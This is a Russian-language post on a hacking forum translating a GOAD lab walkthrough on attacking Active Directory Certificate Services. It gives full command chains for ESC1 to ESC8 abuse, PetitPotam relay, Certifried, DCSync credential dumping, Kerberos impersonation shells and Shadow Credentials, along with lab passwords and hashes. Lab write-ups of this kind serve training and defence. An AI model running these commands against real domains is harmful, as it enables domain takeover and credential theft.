• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья GOAD - часть 6 - ADCS

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов

В этой части мы попробуем атаки, когда ADCS настроен в домене. Сначала мы воспользуемся атакой PetitPotam без аутентификации и ESC8, чтобы получить доменного администратора на essos.local, затем мы перечислим сертификат шаблона с помощью certipy, bloodhound и учетной записи пользователя. В завершение мы используем следующие атаки: certipy, esc1, esc2, esc3, esc4, esc6, certifried и shadow credentials.

ESC8 - принуждение к администрированию домена

Для того чтобы эта атака сработала, нам понадобится :
ADCS, запущенный на домене с включенной веб-регистрацией. Работающий метод coerce (здесь мы используем petitpotam unauthent, но аутентифицированный printerbug или другие методы coerce будут работать одинаково). Существует полезный шаблон для эксплуатации ESC8, по умолчанию в активном каталоге, его имя DomainController

1670653352799.png

1670653412422.png


Сервер запрашивает аутентификацию, так что все в порядке :) Добавьте listener на relay аутентификации SMB в HTTP с помощью impacket ntlmrelayx.
Запустите coerce с помощью petitpotam без аутентификации (это больше не будет работать в обновленном активном каталоге, но другие методы coerce с аутентификацией будут работать так же).

Код:
petitpotam.py 192.168.56.1 meereen.essos.local

1670653555682.png


ntlmrelayx передаст аутентификацию на веб-регистратор и выдаст сертификат

1670653626332.png


Запросите TGT с сертификатом, который мы только что получили (мы скопировали его в файл cert.b64)

Код:
gettgtpkinit.py -pfx-base64 $(cat cert.b64) 'essos.local'/'meereen$' 'meereen.ccache'

ask_tgt_ecs8.png


Код:
 теперь у нас есть TGT для Meereen, так что мы можем запустить DCsync и получить весь контент ntds.dit.

1670653782898.png


ESC8 - с сертификатом​

Оливер Ляк проделал замечательную работу над инструментом атаки ADCS, который, несомненно , автоматизировал многие вещи.

Проделаем ту же атаку с certipy, настроим listner:

Код:
certipy relay -ca 192.168.56.23 -template DomainController

запускайте coerce, как мы это делали раньше с petitpotam.

Код:
petitpotam.py 192.168.56.1 meereen.essos.local

Теперь мы получили сертификат, поэтому мы можем получить NT-хэш DC, а также TGT с помощью команды :
Код:
certipy auth -pfx meereen.pfx -dc-ip 192.168.56.12

И мы можем запустить DCsync с помощью secretsdump и полученного тикета
Код:
export KRB5CCNAME=/workspace/esc8/meereen.ccache
secretsdump -k -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.local

# или с хэшем
Код:
secretsdump -hashes ':39d964a01c61c19fe36c71627d7ab56c' -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.local

1670654052650.png


Разведка и перечисление ADCS (с помощью certipy и bloodhound)

1670654108084.png



Давайте начнем перечисление с помощью certipy

Код:
certipy find -u khal.drogo@essos.local -p 'horse' -dc-ip 192.168.56.12

Выполним поиск на сервере сертификатов и выгрузим всю необходимую информацию в трех форматах:

1.bloodhound : zip, готовый для импорта в bloodhound (если вы используете certipy 4.0, вам придется установить bloodhound gui, модифицированный Оливером Ляком, если вы не хотите использовать модифицированную версию, вы должны использовать опцию -old-bloodhound)
2. json : информация в формате json
3. txt : текстовый формат

1670654288148.png


В Certipy 4.0 вновь появилась опция -vulnerable для отображения уязвимых шаблонов.

Код:
certipy find -u khal.drogo@essos.local -p 'horse' -vulnerable -dc-ip 192.168.56.12 -stdout

Мы можем найти уязвимый шаблон ESC1 :
  • Права на регистрацию для всех пользователей домена
  • Аутентификация клиента
  • И объект поставки Enrolleee
1670654411560.png


Существует также уязвимый шаблон ESC2:

1670654462948.png


И другие уязвимые шаблоны, давайте посмотрим в bloodhound.
Код:
cd /opt/tools
wget https://github.com/ly4k/BloodHound/releases/download/v4.2.0-ly4k/BloodHound-linux-x64.zip
unzip BloodHound-linux-x64.zip -d BloodHound4.2-ly4k
rm BloodHound-linux-x64.zip
start neo4j
/opt/tools/BloodHound4.2-ly4k/BloodHound-linux-x64/BloodHound --no-sandbox --disable-dev-shm-usage
Импортируйте zip-файл, созданный с помощью certipy.
И сделайте обзор с помощью : PKI->Найти центр сертификации, выберите центр сертификации и нажмите : "посмотреть включенные шаблоны".

1670654643947.png


если в лаборатории не установлен esc4, пожалуйста, обновите и выполните следующие команды:
  1. ansible-playbook acl.yml
  2. ansible-playbook adcs.yml
  3. а затем повторно запустите bloodhound и certipy :)
Теперь все должно быть в порядке с настройками acl и adcs ESC4 :)

1670654774797.png

ADCS - exploitation​

ADCS - ESC1​

1670654829412.png


виполним

Код:
certipy find -u khal.drogo@essos.local -p 'horse' -dc-ip 192.168.56.12
1670654926093.png


запросим сертификат

  1. цель : сервер ca
  2. tempalte : уязвимый шаблон
  3. upn : пользователь, за которого мы хотим выдать себя
Код:
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC1 -ca ESSOS-CA -upn administrator@essos.local

Аутентификацируемся с помощью pfx, который мы запрашивали ранее
Код:
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12

Если вы получите ошибку : "[-] Получена ошибка при попытке запросить TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC не поддерживает тип padata)", это ошибка лаборатории, я не знаю, почему иногда она не работает, но вы можете перезагрузить DC3, чтобы исправить это: vagrant reload DC03

1670655138891.png


ADCS - ESC2 & ESC3​


1670655157190.png


Как сказано на странице certipy: "ESC2 - это когда шаблон сертификата может быть использован для любой цели. Так как сертификат может быть использован для любой цели, он может быть использован для той же техники, что и в ESC3 для большинства шаблонов сертификатов."

Давайте разграничим эти две атаки, попробовав использовать ESC2:

1670655202716.png


Запрос сертификата

c
Код:
ertipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template ESC2 -ca ESSOS-CA

Запросите cert с помощью Certificate Request Agent сертификата, который мы получили ранее (-pfx)

Код:
certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template User -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx

Аутентификация

Код:
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12

1670655324711.png


Мы также можем сделать то же самое с шаблонами ESC3-CRA и ESC3 в лаборатории:

Код:
certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template ESC3-CRA -ca ESSOS-CA
certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template ESC3 -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
certipy auth -pfx administrator.pfx -username administrator -domain essos.local -dc-ip 192.168.56.12


ADCS - ESC4​

1670655406005.png

1670655414740.png

Возьмите шаблон ESC4 и измените его так, чтобы он был уязвим для техники ESC1, используя привилегию genericWrite, которую мы получили. (здесь мы не задавали цель, так как мы нацелены на ldap)
Код:
certipy template -u khal.drogo@essos.local -p 'horse' -template ESC4 -save-old -debug

Эксплуатируем ESC1 на модифицированном шаблоне ESC4

Код:
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC4 -ca ESSOS-CA -upn administrator@essos.local

аутентификация с помощью pfx

Код:
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12

Откат конфигурации шаблона

Код:
certipy template -u khal.drogo@essos.local -p 'horse' -template ESC4 -configuration ESC4.json

1670655529777.png


ADCS - ESC6​

1670655558446.png


Как сказано на странице certipy: "ESC6 - это когда CA указывает флаг EDITF_ATTRIBUTESUBJECTALTNAME2. Этот флаг позволяет владельцу сертификата указывать произвольный SAN на всех сертификатах, несмотря на конфигурацию шаблона сертификата."
Поскольку ESSOS-CA уязвима к ESC6, мы можем провести атаку ESC1, но с шаблоном пользователя вместо шаблона ESC1, даже если в шаблоне пользователя Enrollee Supplies Subject установлено значение false.
Код:
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template User -ca ESSOS-CA -upn administrator@essos.local
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12

1670655649432.png


Если вам нужно отключить атрибут EDITF_ATTRIBUTESUBJECTALTNAME2 (потому что вы хотите попробовать без него или просто потому, что эта атака больше не будет работать на обновленном AD без esc10 vuln), вы можете выполнить от имени администратора на braavos следующие команды:
Код:
certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc
Это также означает, что если у вас есть доступ администратора на сервере сертификатов, вы можете изменить этот атрибут, чтобы использовать ESC1, не будучи администратором домена ;)
Но теперь эксплойт ESC6 больше не работает, пользователь не изменен :)


1670655756409.png


Certifried - CVE-2022-26923

Оливер Ляк обнаружил способ повышения привилегий пользователя с низкими привилегиями в Active Directory. Он заключается в изменении свойства dnsHostName на созданном компьютере. Идея выглядит так же, как и уязвимость samAccountName, это путаница с именем при аутентификации. Подробности здесь: https://research.ifcr.dk/certifried...vilege-escalation-cve-2022-26923-9e098fe298f4
Создайте учетную запись с доменным пользователем и установите поддельное имя dns в качестве контроллера домена.
Код:
certipy account create -u khal.drogo@essos.local -p 'horse' -user 'certifriedpc' -pass 'certifriedpass' -dns 'meereen.essos.local'

Запросите сертификат с созданным компьютером на шаблоне Machine

Код:
certipy req -u 'certifriedpc$'@essos.local -p 'certifriedpass' -target braavos.essos.local -ca ESSOS-CA -template Machine

Аутентифицируйтесь с помощью сертификата как meereen (dc)

Код:
certipy auth -pfx meereen.pfx -username 'meereen$' -domain essos.local -dc-ip 192.168.56.12

Загрузите ndts с тикетом kerberos, который мы только что получили

Код:
export KRB5CCNAME=/workspace/certifried/meereen.ccache
secretsdump -k -no-pass -just-dc-user daenerys.targaryen ESSOS.LOCAL/'meereen$'@meereen.essos.local

Удалите созданный компьютер с пользователем администратора домена

Код:
certipy account delete -u daenerys.targaryen@essos.local -hashes 'aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a' -user 'certifriedpc'

1670655965601.png


Хорошо, но теперь представьте, что вы не можете использовать dcsync с secretdump из-за продукта безопасности на DC, или вы просто хотите получить оболочку непосредственно на DC. Давайте попробуем получить оболочку.
Мы получили TGT DC (точно как в части 5 для samaccountname), поэтому мы будем использовать impacket getST, чтобы выдать себя за администратора и получить st для доступа к DC в качестве администратора (см.: https://www.thehacker.recipes/ad/movement/kerberos/delegations/s4u2self-abuse). Не забудьте использовать хороший запрос impacket pull request для использования этого, см. часть 5 для установки ( thx снова shutdown для добавлений в impacket)

Код:
export KRB5CCNAME=/workspace/certifried/meereen.ccache
python3 /opt/tools/myimpacket/examples/getST.py -self -impersonate 'administrator' -altservice 'CIFS/meereen.essos.local' -k -no-pass -dc-ip 'meereen.essos.local' 'essos.local'/'meereen'

и теперь мы можем использовать наш тикет

Код:
export KRB5CCNAME=/workspace/certifried/administrator@CIFS_meereen.essos.local@ESSOS.LOCAL.ccache
wmiexec.py -k @meereen.essos.local

1670656171983.png


Мы также можем сделать то же самое, но с winrm, чтобы быть еще более легитимными :)
Код:
export KRB5CCNAME=/workspace/certifried/meereen.ccache
python3 /opt/tools/myimpacket/examples/getST.py -self -impersonate 'administrator' -altservice 'HTTP/meereen.essos.local' -k -no-pass -dc-ip 'meereen.essos.local' 'essos.local'/'meereen'

Примечание : Здесь мы запросили альтсервис HTTP/meereen.essos.local для использования winrm

Код:
export KRB5CCNAME=/workspace/certifried/administrator@HTTP_meereen.essos.local@ESSOS.LOCAL.ccache
evil-winrm -i meereen.essos.local -r ESSOS.LOCAL

adcs_exploit_certifried_shell_winrm.png

Как то так!

Shadow Credentials

Атака Shadow credentials заключается в использовании привилегии GenericAll или GenericWrite на пользователе или компьютере для установки атрибута msDS-KeyCredentialLink. объяснения здесь
Вы можете получить информацию о движении dacl на сайте shutdown (@_nwodtuhs), рецепты хакеров: https://www.thehacker.recipes/ad/movement/dacl.

1670656420465.png


Эта атака очень полезна, когда вы получили Write другого пользователя.

С помощью genericWrite вы можете сделать только это:

Target Kerberoasting: добавить SPN к пользователю, сделать kerberoasting, удалить spn. Но пароль пользователя должен быть слабым, чтобы атака кербероустинга сработала.

Установка скрипта входа: измените параметры ldap для установки скрипта входа. но это подразумевает, что пользователь должен зайти на свой компьютер, smb-сервер или общий ресурс, чтобы предложить скрипт и установить скрипт, который обойдет существующие решения безопасности).


Shadow credentials : атака, которую мы хотим провести, нам нужна служба cetificate на домене.

С помощью GenericAll вы можете :
ForceChangePassword : но в реальном тесте вы не захотите блокировать пользователя, изменив его пароль. И это тоже не очень скрытно. Так что если вы можете сделать это другим способом, то это прекрасно :)
Все атаки возможны в genericWrite.
Так что если ADCS включен в домене, и мы получили привилегию записи на msDS-KeyCredentialLink, мы можем выполнить атаку теневых учетных данных, чтобы получить прямой доступ к учетной записи пользователя. И это кажется лучшей идеей в данном случае на реальном тесте.

Shadow credential теперь включается с помощью certipy (эта атака также может быть выполнена с помощью pywisker)
Код:
certipy shadow auto -u khal.drogo@essos.local -p 'horse' -account 'viserys.targaryen

adcs_shadow_credentials_exploit.png


И мы можем сделать то же самое с viserys на jorah

Код:
certipy shadow auto -u viserys.targaryen@essos.local -hashes 'd96a55df6bef5e0b4d6d956088036097' -account 'jorah.mormont'

1670656854440.png


В следующий раз мы позабавимся с MSSQL
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх